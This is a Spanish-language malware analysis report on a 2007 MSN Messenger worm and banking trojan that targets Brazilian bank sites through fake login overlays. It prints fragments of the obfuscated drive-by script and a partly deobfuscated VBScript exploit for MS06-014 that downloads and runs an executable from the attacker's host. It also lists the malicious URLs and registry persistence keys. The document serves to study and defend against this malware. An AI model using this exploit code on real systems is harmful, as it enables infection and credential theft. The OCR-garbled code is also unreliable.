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Tu amigo falso, el malware mensajero

Desde el nacimiento de Internet, los sistemas de mensajeria instantanea se han convertido en un medio
de comunicacién masivo y eficaz para cualquier usuario, en cualquier parte del mundo, debido a la
simplicidad y rapidez de su manejo, constituyendo en la actualidad la via de comunicacién preferida a la
hora de entablar una conversacién en tiempo real.

En consecuencia, también se ha convertido en una fuente altamente explotable para la difusion y
diseminacion de codigos maliciosos de todo tipo, resultando que la mensajeria instantdnea sea un medio
muy utilizado para este fin.

Un poco de historia

La forma de IM (Instant Messenger — Mensajeria Instantdnea) que se conoce en la actualidad tiene sus
origenes en un sistema generalizado de asistencia computacional creado en la década del '70
denominado PLATO (Programmed Logic Automated Teaching Operations).

A partir de alli fueron naciendo otras aplicaciones, tales como Talk durante el afilo 1990 e implementado
Unicamente para sistemas UNIX/LINUX, e ICQ creado durante el aflo 1996 y disponible tanto para
sistemas UNIX/LINUX como para Windows.

Desde entonces, muchas aplicaciones fueron surgiendo hasta llegar a las que se conocen actualmente,
incluso combinando diferentes servicios como VolP, videoconferencia, etc. Las aplicaciones mas comunes
y utilizadas son AOL Instant Messenger, Yahoo Messenger y MSN Messenger/Windows Live Messenger.
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Imagen 1 — Clientes de mensajeria instantanea
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Infecciéon a través del Messenger

Se menciond que uno de los medios de comunicacidn mas explotados para propagar malware son las
vias de Chat. Precisamente, una de las aplicaciones mas utilizadas y mas explotadas es el Windows
Messenger/MSN Messenger/Windows Live Messenger de Microsoft.

Uno de los tantos malware de este tipo es el gusano/troyano catalogado por ESET NOD32 bajo el nombre
de Win32/Spy.Banker.CHC que utiliza la Ingenieria Social para intentar propagarse a través de los
contactos del sistema infectado al momento de utilizar el cliente de mensajeria instantanea.

Analisis superficial

Esta familia de codigos maliciosos estd disefiada para enviar mensajes a cada uno de los contactos del
usuario infectado, adjuntandose el siguiente mensaje en idioma portugués:

“Olha meu flogao atualizei
http://ww.flogao-com-br.xxxxxx.ru/virgens.htm
espero que goste”

2 camilo
- . o - 2
& @ o\ W HEH 4 %
camilo saye - <
Oiha meu flogac atualize:
camila s&ys

hittp: e fiogen-com-brog M virgens him

camilo geys

espers que goste

CaMIlD 58ys

hola =
COookia Says: -

hola -
B. B- (B D B S B .y

L sl o |

i

Last message recetved ak 1749 on 17/05/2007, 2 A -

Haz clic agqui para personalizar el MSN Messenger
Imagen 2 - Enlace agregado al mensaje original
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En ninglin momento el usuario percibe que en realidad estd enviando una invitacién a descargar el
malware.

El usuario desprevenido que haga clic sobre el enlace ingresara a una pagina web alojada en un sitio de
Web Hosting y correo electrénico gratuito ubicado en Rusia. Aqui pueden ocurrir dos hechos:

o  Siel usuario mantiene su sistema operativo actualizado podria hacer clic en el vinculo mostrado
en laimagen y observar que al pasar el mouse sobre el vinculo “CLIQUE AQUI”, este hace
referencia a la direccion “http://www.flogao-com-
br.xxx.ru/extra.html.757674576945785.exe#/Carrinho/Amor/Saudades.imag/”, que remite a un
archivo ejecutable (extension “.exe”).
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Imagen 3 — Redireccionamiento hacia un .exe y descarga del ejecutable

e Siel usuario no mantiene actualizado su sistema, se explotara una vulnerabilidad del mismo
permitiendo descargar y ejecutar, en forma totalmente silenciosa y automatica, un programa del
tipo “downloader” encargado de descargar otros cédigos maliciosos una vez instalado en el
sistema victima. Cabe aclarar que, con el sélo hecho de ingresar a la direccién web, este archivo
se descarga y ejecuta automaticamente sin el consentimiento del usuario y sin que se percate de
ello.
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Un analisis del cédigo fuente de la pagina web exhibe la ejecucion automatica del archivo al momento de
ingresar al sitio. Primero se distingue una etiqueta que vincula la direccién web con archivo ejecutable. A
su vez, este posee incrustado un script ofuscado1 escrito en lenguaje JavaScript que descarga y ejecuta
otro archivo denominado "pork.exe”, copia del ejecutable que se descarga en primera instancia.

<P aligm=center><I><H><FONT face=Verdana color=fgffff00 size=5>PARA WISUALIZAR AS

FOTOS </FORT></B></I></P>

<P align®center><I><B><FONT face=Verdans color=#ffff00 size=5><h

href=rhrep://uve. flogas—com— Jexera. html. 7576 74576945785, exel/ Carr inho/ Amor/ Sa . imag/ §>CLIQUE
AQUI</AS</FORT></Br</I></P>

<S5CRIPT language=iavascripts

e i

= criptogra:adu pele Bey - Duvilgaglo grétis para seu site renda extea

hetp://vew, Lapaki.nec

usar este codigo, mantenha estas linha=. =/

Hocument . writelunescapel” SBCHEADSGE%(JD%QAXSCSCRIPT%ZOLANGWE%BWGZZJavaB:l‘ip'l:%23%3!%0W0A%3C%21——%DD%EM“‘X2OCF1ptbrafada‘k?ﬁpe'l
QA% £2 520

RS20df, seratnributeX2 52082522 a5 a2 52202 520K 520825224 s 12 S 3ABDOGC I S6-65A3 -1 100-083A-00DC04FCIOEIE%2 52242 SO0%2 S OA
npx2 520directory®2 520and%2 520create%25200urE2520desTinationk2 52 0nameX2 S 0D%2 S0AX2 520%2 5 20%2520%2 520  namel %2 530%252 m 2522

ESXZSEZSHQT'I Application¥2 522%2 52CK2 52252 52 2%2 52 9%2 500%2 50A%3 520062 52052 520%2 52 00. shellExecut eX2 520F namal™2 52C%2 52 7%

Imagen 4 — Descarga del ejecutable

En cualquiera de los dos casos, el archivo ejecutable, es en realidad el gusano que se descarga e instala en
la computadora. Al hacer clic sobre el enlace se presenta la tipica ventana de descarga de archivos de

Windows.

Al descargarse, se aloja en la carpeta temporal de Windows realizando una copia del troyano en la raiz del

disco “X" bajo el nombre “system00.exe”. También se copia en la siguiente direccion
“XAWINDOWS\system32\" bajo el nombre de “windows.exe” (donde X es la unidad donde estd instalado

Windows).

En laimagen, se puede notar que los ejecutables creados por el cédigo malicioso poseen iconos de
aplicaciones comunes, como es el caso de los archivos de imagen o la llave asociada a elementos de
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Imagen 5 — Copia del troyano alojada en el disco “C” y en la carpeta "Temp”

seguridad del sistema.

! Ofuscamiento: Técnica utilizada para hacer ilegible un cédigo y dificultar su lectura.
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Esta caracteristica esta presente en la mayoria del malware y constituye una de las técnicas mas comunes:
hacer creer al usuario que se tratan de archivos de imagen/seguridad cuando en realidad no lo son.
Notese ademas que los nombres que se utilizan pretenden hacer creer al usuario que estan asociados al
sistema.

Ademéds de realizar copias de si mismo, el troyano manipula el registro del sistema creando las siguientes
claves:

HKLM SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run
C:\ Arqui vos de programas\M/_Love. exe
C. \ W NDOWB\ syst enB2\ wi ndows. exe

% Editor del Registro

Archiva  Edicidn  Wer Fawaritos  Avuda
[[3 Reinstal & ||| mombre Tipo Dataos
{1 Reliabili (Predeterminadu) REG_5Z {walor no establecido)
g @[M';-‘_LDVE REG_57 CihArquivos de prngramas'l,My_Love.exe]
= Eungnc \-'Mware Tools REG_5Z Ch\archivos de programaliMware\YMware,
= S:I:nupnc \-'Mware User Pra... REG_SZ C:h\archivos de programaliware\YMware,
N - -
(2 Sharedr E]wmduws REG_5Z CHWINDOWS system3IZiwindows  exe ]
#1771 Shell Fyl
Mi PCHEEY _LOCAL_MACHIMNE\SOFTWARE | Microsofty Windows) CurrentversioniFun

Imagen 6 — Manipulacion del registro

Estas claves son creadas por el gusano con el objetivo de asegurar que en cada reinicio del sistema
operativo arranque su proceso.

Si se observa con detalle la clave creada en el registro referida al ejecutable “My_Love.exe”, se puede ver
que el mismo es creado en la carpeta “Arquivos de programas” y no en “Archivos de programas”.

Si el sistema operativo se encuentra en idioma portugués, el coédigo malicioso realiza una copia en esta
carpeta bajo un nombre que va cambiando a medida que se va modificando el cédigo del mismo.

De aqui en mas, cada vez que se establezca una conversacién con algin contacto a través de cualquiera
de los mensajeros de Microsoft, se adjuntara en el mensaje un enlace hacia la pagina web maliciosa.
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Profundizando el analisis

Al descender un nivel en la pagina web se encuentran, ademas del troyano en si mismo, los archivos
ejecutables que el cédigo malicioso descarga una vez que la maquina victima ha sido comprometida.

Por otro lado, a través del seguimiento realizado a lo largo de unos dias, se pudo establecer que los
troyanos alojados en la pagina web maliciosa son constantemente modificados, no sélo en los nombres
utilizados sino también en el cédigo.

En la siguiente captura se observa el dinamismo con el cual se llevan a cabo las modificaciones de los
codigos maliciosos por parte de sus autores.

Index of / Index of /

wud

+59 2opis3] extem.exe  _______ 16-Nay-2007 14:02 2445313
$31 202752 |EAtES Wtml TETET4STEI45T05. X8 po-fay-2007 07159 |

09=Ray=-2007 07:56 2016768 EXEra.Qpg 17-Hay-2007 11:07

0&-May-2007 21159 2016768 Sxtra.macavilha 0-Nay-2007 O7:56 2016768

O4=-May-2007 21:22 1843200 15-Nay-2007 23:03 2015744

06-Hay-2007 17141 5805 D6-Nay-2007 17141 8808
Index of / Index of /

: ewtra,html, 7576

2 _20-Hay-20 iy _goonop] EE
extoa. Jpg Zi-Bay=-2007 05:56 2015744 [execa. heml . TS5TET45TEI45TES . exe
viEgens. htm 20=Ray=-2007 15:13 5808 ExcIa. )P "
virg 23-Ray-2007 02:13 9305
virgens.htm 23-Hay-2007 02:29 4676

Imagen 7 — Seguimiento del troyano

A simple vista, se observa que el archivo ejecutable que se intenta descargar en primera instancia bajo el
nombre de “extra.html.757674576945785.exe” pesa 200.192 bytes y no fue modificado. Este archivo
ejecutable, es en realidad el troyano detectado como Win32/TrojanDownloader.Banload,BJU por ESET
NOD32, un tipo de cédigo malicioso cuya tarea consiste en descargar otros especimenes de malware a la
maquina infectada.
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Ademas, para no ser facilmente detectado por los productos de seguridad y minimizar su tamafno, todos
los archivos estan empaquetados con la aplicacién “tElock 0.98b1”, una herramienta que ademas de
comprimir, encripta archivos PE (Portable Executable).

Fie: |lmastioaip s mse) srusvalp i LTS 167516055000 | | .o |

Enbrypoint: | DO0SEE0DS =]
Fis Offsat: (00030306 FrstBytes: (E,E5,64FF | =]
Unker Info: (225 Sibepstem: [Winzzoll (=
[Ehaiozemt =]

tiScan | | Taskviewsr | | optors | [ Abokt || B |

Imagen 8 — Empaquetado del archivo

El archivo que simula ser una imagen, llamado “extra.jpg”, es en realidad un ejecutable que contiene al
troyano Win32/Spy.Banker.CHC que se encarga de capturar informacién sobre sitios web de bancos
brasileros. Al ver su contenido, se visualiza el indicador “MZ" correspondiente a archivos ejecutables (.exe,
dll, .ocx).

A 00005464 GetlongPathM amed,

A OOOOS4FD UIRHG Archivio Edl:iufun Formakto  Wer fSwuda

A 00005648 | SoftwarehBorland\Locales 0w |
A 000056C4 | SafbwarehBorland\DelphitLocales ‘o . . .

A DODOOS7CE - Trrl bi evyld, 10E&e| S«?v ONDf ' I~E:
A 0020520 Theme manager 507 »7BODYD,BIGZO0Fanze]oh

A 00020538 [2001, 2002 Mike Lischke |
A 000205925 Y]

Imagen 9 — Malware desarrollado en Delphi

Como se puede apreciar en la captura, el cddigo malicioso estd escrito en lenguaje de programacién
Delphi.

Esta misma situacion se presenta con el archivo llamado “ex.htm” que aparece en la Ultima actualizacion
realizada por los diseminadores del malware; es decir, este archivo simula tener extensién “.htm” (pagina
web) pero en realidad es un archivo ejecutable.

Anteriormente se mencioné que este malware se ejecuta con el sélo hecho de ingresar a la pagina web
maliciosa y que esta accion la lleva a cabo mediante un script ofuscado. Al realizar la conversién a “cédigo
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legible” se puede ver el cédigo fuente (en vbscript) que permite descargar el cédigo malicioso en la
carpeta temporal de Windows.

Para lograrlo, el troyano explota la vulnerabilidad solucionada en el boletin MS06-014 [1] de Windows que
le permite ejecutar cédigos en forma remota a través de su navegador Internet Explorer. En la siguiente
captura se observa parte del mismo:

‘hrtp /S, Tlogao-<om-br, =@ rusextra.html. 75767457694 5785, exe”

' create adodbstream object

Sat df = document.createelement ("obtact "

df.secattribute "classid"”, "clsid:mrmss b feled LT o1 L0 000 S0 = b PIE o8
stre"Microsoft. s MLHTTP"

set x = df.Createobject{str,"")

al="ada"

a2="db, "

a3m"sEL"

ad="mam"

strl=aldaldaidad

stri=strl

58t 5 = df.createcbject(strs, ")
S.Type = 1

' aml ajax reqg
STrg="GET"

x.0pen stra, di, False
. Send

' Ger temp directory and create our destination name
namels="pork, exe"

Imagen 10 — Exploit utilizado por el troyano para descargar y ejecutar “pork.exe”

Una vez que la computadora ha sido infectada, el troyano se copia en la carpeta de archivos temporales
de Windows y al reiniciar el sistema se borra dejando copias de si mismo en la carpeta “system32”y en la
raiz del disco en donde se encuentre instalado el sistema operativo (cominmente C:\).

et



Tu amigo falso, el malware mensajero

10

Al arrancar sus procesos queda residente en memoria controlando los sitios visitados con el navegador
Internet Explorer asegurandose, mediante la manipulacién de la clave “Run” del registro, que sus
procesos arrancaran en cada inicio del sistema.
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Imagen 11 —Envio del mensaje con el enlace, copia del malware y manipulacion del registro

Ademads, dependiendo del idioma del Sistema Operativo, crea una serie de archivos que son copias de
cada troyano:

« Sielsistema operativo (SO) se encuentra en portugués, crea el archivo “My_Love.exe”, como se
menciond anteriormente, en la carpeta “Arquivos de programas” siendo una copia de “extra.jpg”
y con un tamafo de 1.969 KB.

« Cuando se trata de un SO en espafiol no crea éste archivo. Sin embargo lo agrega igualmente en
la clave “Run” del registro. Se crean los archivos “system00.exe” que es una copia del mismo
“extra.jpg” y “windows.exe” que es una copia de “extra.html.757674576945785.exe” y del
ejecutable “pork.exe” con un peso de 196 KB.

« Encaso de tratarse de un SO en inglés, crea los archivos “My_Love.exe” y “bios.exe” (copia de
“extra.jpg”) en la direccion “X:\Documents and Settings\All Users\Start
Menu\Programas\Startup”.
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Resumiendo:

e extra.html.757674576945785.exe (downloader de 196 Kb) > pork.exe > windows.exe 2>
bios.exe

o extrajpg (troyano banker de 1.969 Kb) > My_Love.exe = system00.exe

Inmediatamente después de haberse ejecutado, comienza a monitorear y registrar los sitios visitados por
el usuario. En caso de que ingrese a determinadas paginas web, se activara el proceso asociado al
“banker”.

Algunos de los sitios web que activaran la ejecucion del troyano son los siguientes:

http://www.caixa.gov.br/
http://www.hsbc.com.br/

Al entrar a cualquiera de estas paginas web, el cédigo malicioso cubre la seccidn del sitio del banco que
permite el ingreso al home-banking real. En su lugar, muestra una imagen falsa con el objetivo de que el
usuario ingrese a un formulario falso para registrar sus datos personales.

El malware ejecuta un proceso encargado de desplegar un banner que se superpone con el sector
original en donde el usuario debe hacer clic para ingresar sus datos y operar en la entidad bancaria.
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En el caso del primer sitio, el banner mostrado por el troyano se ubica en la parte superior de la pagina
web:

-} Caixa Econdmica Federal - Microsoft Internel Expliarer
Archeoo  Edicidn  Yer Favarkos  Herramientas  Ayuda

&

Qe -0 & ) oeamn Jorewn @) - B B

A

Mdﬁ\]éjktp:ﬂma;\-.c; gov el | = B | viocdos * @ seak 1

= HOVO INTERMNET BAN canxn FRChiAR
O WORS S TLE R TRMBEM RS B wsuAL

Pih, D) SITE SEGURAHCA IPRENSA, (1]

DIUEYOCE EROCURAL WOCE EMPRESAS GOVERND

Pagina web original

CUNDORA powniown | Meavo sme SEGURANCA PRENSA

ENEENCE WUN?ACE EMPRESAS GOVERNC

Pagina web modificada

Imagen 12 — Superposicion del banner

Al hacer clic sobre el banner, se presenta la ventana, supuestamente original, que permite el ingreso de
datos por parte del usuario.

Por intermedio de las siguientes capturas se pueden apreciar en forma cronoldgica, las diferentes
pantallas que el cédigo malicioso va presentando a medida que el usuario avanza en la navegacion de la
pagina web.
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En primer lugar, una vez que el usuario ingresa sus datos y confirma (1), muestra una pantalla en la que se
presentan los campos a llenar mediante la utilizacién del teclado virtual (2); una vez confirmado, el
malware muestra otra ventana en la que se debe elegir una de las opciones mostradas en el menu
izquierdo (3). Al hacer clic en cualquiera de las opciones, lanza una ventana de advertencia informando
sobre la supuesta falta de una firma electrénica (4).

IHTERMNIT BANKING CAIXA ENTERWET BANKING CAIXA
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Imagen 13 - Pantallas desplegadas durante el ataque (I)
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Al aceptar, despliega la pantalla para ingresar una firma electrénica (5) y por ultimo, al confirmar esta
accién, muestra una pequena ventana en donde dice que la pagina se encuentra en mantenimiento, por
ende, que se intente la operacién en otro momento (6). Finalmente al aceptar, se cierra el navegador.
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Imagen 14 — Pantallas desplegadas durante el ataque (II)

En forma similar, actua sobre la pagina web del banco HSBC pero a diferencia de la anterior, resulta muy
dificil darse cuenta a simple vista que se trata de una imagen engafosa debido al parecido con la original.
A continuacidn, se puede observar el sector donde el cédigo malicioso superpone la imagen.
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Imagen 15 - Sector sustituido por el malware en el caso de HSBC
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En el momento de ingresar a alguna de las entidades bancarias antes mencionadas, el malware ejecuta
las acciones de superposiciéon de imagen descriptas. Estas acciones son realizadas por el archivo
“system00.exe” a través del proceso “ExperT”.
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Banner controlado por el proceso

Imagen 16 - Imagenes manipuladas por el malware

Una vez que el usuario ha caido en la trampa del cddigo malicioso introduciendo los datos en la entidad
bancaria, el malware se encarga de establecer una conexién SMTP mediante la cual envia los datos del
usuario a una cuenta de correo electrénico. La siguiente imagen muestra una captura del momento en
que se activa dicha conexion.

- Shreain Conbant

220 mx. uuuu1e com ESMTP B2574434082wr ]

EHLO | &

2 50-mx. gnn ‘Ie com at vour service, [168.226.214.17]
230-5I2€ 28311552

2 S0-BBI TMIME

250 ENHANCEDSTATUSCODES

RSET
250 2.1.0 Flushed G2514434082wr
MAIL FROM:<# a4 @gmail. com:
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Imagen 17 — Captura de trafico SMTP
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Conclusiones

Tanto los creadores como los diseminadores de malware, utilizan el ingenio para intentar engafar a sus

victimas por intermedio de técnicas de Ingenieria Social, demostrando una vez mas que el eslabén mas

débil siempre es un usuario final no capacitado y que el objetivo principal del malware que actualmente
se disemina en forma cotidiana, es netamente econémico.

Asi lo demuestra este ejemplar de cédigo malicioso que, a través de la manipulacién de un cliente de
mensajeria instantanea masiva, intenta infectar las computadoras de todos aquellos usuarios
desprevenidos para realizar ataques a determinados sitios bancarios.

Si bien en lo presentado se trata del analisis de un malware cuyas caracteristicas suponen que fue creado
en Brasil y apunta a usuarios de ese pais, en las Ultimas semanas se han reportado otros casos de cédigos
maliciosos similares que utilizan como medio de propagacién a los clientes de mensajeria instantanea.
Uno de ellos es el gusano detectado por ESET NOD32 como Win32/VB.NKY que se propaga mostrando un
mensaje en idioma espafiol bajo el nombre de “Bush.exe” simulando ser una pelicula en flash o como
“yo_posse_007.jpg.exe”, una supuesta imagen de las vacaciones.

Ademas, es fundamental que el usuario tome conciencia de los peligros que corre por el sélo hecho de
ingresar a determinadas paginas web, ya que muchos creadores de malware utilizan las funcionalidades
de los scripts para infectar un sistema sin que el usuario se percate de ello. Es importante recordar que
mientras se navegda o se visualiza una péagina, pueden estar sucediendo -en forma oculta y totalmente
transparente- actividades dafinas que ponen en peligro la confidencialidad del usuario.

También resulta interesante que esta caracteristica puede presentarse cuando se hace alguna busqueda
como la que se muestra en la siguiente captura:

PARAYISUALIZAR AS FOTOS. CLIGUE AQUL e U, @front.ru, @hotbosx g,
Eland.ru, & mt.ru, @rbomail ru. count.
wanrwy, flogao-com-hr, Mvirgens. htm - 10k - En caché - Paginas similares

Imagen 18 — Blsqueda en google

Cabe destacar la importancia que tiene mantener el sistema operativo debidamente actualizado; si bien
se sabe que es imposible que un sistema sea 100% seguro, se puede disminuir el riesgo actualizandolo, ya
que como se pudo apreciar, el cddigo malicioso en cuestién aprovecha una vulnerabilidad descubierta
durante abril de 2006.
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Adicionalmente, un punto primordial es contar con una herramienta de seguridad que solucione este
problema, como con un antivirus actualizado que incorpore caracteristicas de deteccion heuristica 'y
proactiva como ESET NOD32.

Por tales argumentos se puede decir que la mejor arma que posee el usuario para repeler este y cualquier
otro tipo de metodologias que atenten contra la seguridad del sistema, y por ende, de la informacién
contenida en ellos, radica principalmente en la educacion. [2]

Para mas informacion:

[1] Boletin MS06-014 de Microsoft
http://www.microsoft.com/technet/security/bulletin/ms06-014.mspx
http://www.microsoft.com/latam/technet/sequridad/boletines/ms06-014.mspx

[2] Plataforma Educativa de ESET Latinoamérica
http://edu.eset-la.com/




